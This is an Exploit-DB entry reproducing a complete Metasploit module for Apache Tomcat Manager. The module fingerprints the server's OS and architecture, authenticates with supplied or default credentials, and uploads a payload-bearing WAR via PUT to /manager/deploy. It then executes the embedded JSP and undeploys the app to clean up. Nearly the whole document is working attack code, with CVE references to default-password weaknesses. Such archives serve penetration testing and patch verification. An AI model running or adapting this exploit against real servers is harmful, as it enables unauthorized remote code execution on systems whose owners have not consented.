标题: Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit) EDB-ID: 16317 CVE: 2010-4094 2010-0557 2009-4189 2009-4188 2009-3843 2009-3548 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-12-14 漏洞利用脚本: ##
# $Id: tomcat_mgr_deploy.rb 11330 2010-12-14 17:26:44Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
   'Description'    => %q{
     This module can be used to execute a payload on Apache Tomcat servers that
    have an exposed "manager" application. The payload is uploaded as a WAR archive
    containing a jsp application using a PUT request.

    The manager application can also be abused using /manager/html/upload, but that
    method is not implemented in this module.
   },
   'Author'      => [ 'jduck' ],
   'License'        => MSF_LICENSE,
   'Version'     => '$Revision: 11330 $',
   'References'  =>
    [
     # There is no single vulnerability associated with deployment functionality.
     # Instead, the focus has been on insecure/blank/hardcoded default passwords.

     # The following references refer to HP Operations Manager
     [ 'CVE', '2009-3843' ],
     [ 'OSVDB', '60317' ],
     [ 'CVE', '2009-4189' ],
     [ 'OSVDB', '60670' ],

     # HP Operations Dashboard
     [ 'CVE', '2009-4188' ],

     # IBM Cognos Express Default user/pass
     [ 'BID', '38084' ],
     [ 'CVE', '2010-0557' ],
     [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21419179' ],

     # IBM Rational Quality Manager and Test Lab Manager
     [ 'CVE', '2010-4094' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ],

     # 'admin' password is blank in default Windows installer
     [ 'CVE', '2009-3548' ],
     [ 'OSVDB', '60176' ],
     [ 'BID', '36954' ],

     # tomcat docs
     [ 'URL', 'http://tomcat.apache.org/tomcat-5.5-doc/manager-howto.html' ]
    ],
   'Platform'    => [ 'java', 'win', 'linux' ], # others?
   'Targets'     =>
    [
     #
     # detect via /manager/serverinfo
     #
     [ 'Automatic', { } ],

     [ 'Java Universal',
      {
       'Arch' => ARCH_JAVA,
       'Platform' => 'java'
      },
     ],

     #
     # Platform specific targets only
     #
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      },
     ],

     [ 'Linux x86',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'linux'
      },
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 09 2009'))

  register_options(
   [
    OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
    OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
    OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
    # /cognos_express/manager/ for Cognos Express (19300)
    OptString.new('PATH', [ true,  "The URI path of the manager app (/deploy and /undeploy will be used)", '/manager'])
   ], self.class)
 end


 def auto_target
  print_status("Attempting to automatically select a target...")

  res = query_serverinfo()
  return nil if not res

  plat = detect_platform(res.body)
  arch = detect_arch(res.body)

  # No arch or platform found?
  if (not arch or not plat)
   return nil
  end

  # see if we have a match
  targets.each { |t|
   if (t['Platform'] == plat) and (t['Arch'] == arch)
    return t
   end
  }

  # no matching target found
  return nil
 end


 def exploit
  datastore['BasicAuthUser'] = datastore['USERNAME']
  datastore['BasicAuthPass'] = datastore['PASSWORD']

  mytarget = target
  if (target.name =~ /Automatic/)
   mytarget = auto_target
   if (not mytarget)
    raise RuntimeError, "Unable to automatically select a target"
   end
   print_status("Automatically selected target \"#{mytarget.name}\"")
  else
   print_status("Using manually select target \"#{mytarget.name}\"")
  end

  # We must regenerate the payload in case our auto-magic changed something.
  p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

  # Generate the WAR containing the EXE containing the payload
  jsp_name = rand_text_alphanumeric(4+rand(32-4))
  app_base = rand_text_alphanumeric(4+rand(32-4))

  # Generate the WAR containing the payload
  war = p.encoded_war({
    :app_name => app_base,
    :jsp_name => jsp_name,
    :arch => mytarget.arch,
    :platform => mytarget.platform
   }).to_s

  query_str = "?path=/" + app_base

  #
  # UPLOAD
  #
  path_tmp = datastore['PATH'] + "/deploy" + query_str
  print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
  res = send_request_cgi({
   'uri'          => path_tmp,
   'method'       => 'PUT',
   'ctype'        => 'application/octet-stream',
   'data'         => war,
  }, 20)
  if (! res)
   raise RuntimeError, "Upload failed on #{path_tmp} [No Response]"
  end
  if (res.code < 200 or res.code >= 300)
   case res.code
   when 401
    print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
   end
   raise RuntimeError, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]"
  end

  #
  # EXECUTE
  #
  jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
  print_status("Executing #{jsp_path}...")
  res = send_request_cgi({
   'uri'          => jsp_path,
   'method'       => 'GET'
  }, 20)

  if (! res)
   print_error("Execution failed on #{app_base} [No Response]")
  elsif (res.code < 200 or res.code >= 300)
   print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
   print_status(res.body) if datastore['VERBOSE']
  end

  #
  # DELETE
  #
  path_tmp = datastore['PATH'] + "/undeploy" + query_str
  print_status("Undeploying #{app_base} ...")
  res = send_request_cgi({
   'uri'          => path_tmp,
   'method'       => 'GET'
  }, 20)
  if (! res)
   print_error("WARNING: Undeployment failed on #{path} [No Response]")
  elsif (res.code < 200 or res.code >= 300)
   print_error("Deletion failed on #{path} [#{res.code} #{res.message}]")
  end

  handler
 end

 def query_serverinfo()
  path = datastore['PATH'] + '/serverinfo'
  res = send_request_raw(
   {
    'uri'   => path
   }, 10)

  if (not res) or (res.code != 200)
   print_error("Failed: Error requesting #{path}")
   return nil
  end

  print_status(res.body) if datastore['VERBOSE']

  return res
 end

 def detect_platform(body = nil)
  if not body
   res = query_serverinfo()
   return nil if not res
   body = res.body
  end

  body.each_line { |ln|
   ln.chomp!

   case ln
   when /OS Name: /
    os = ln.split(':')[1]
    case os
    when /Windows/
     return 'win'

    when /Linux/
     return 'linux'

    end
   end
  }
 end

 def detect_arch(body)
  body.each_line { |ln|
   ln.chomp!

   case ln
   when /OS Architecture: /
    ar = ln.split(':')[1].strip
    case ar
    when 'x86', 'i386', 'i686'
     return ARCH_X86

    when 'x86_64', 'amd64'
     return ARCH_X86

    end
   end
  }
 end

end URL: https://www.exploit-db.com/exploits/16317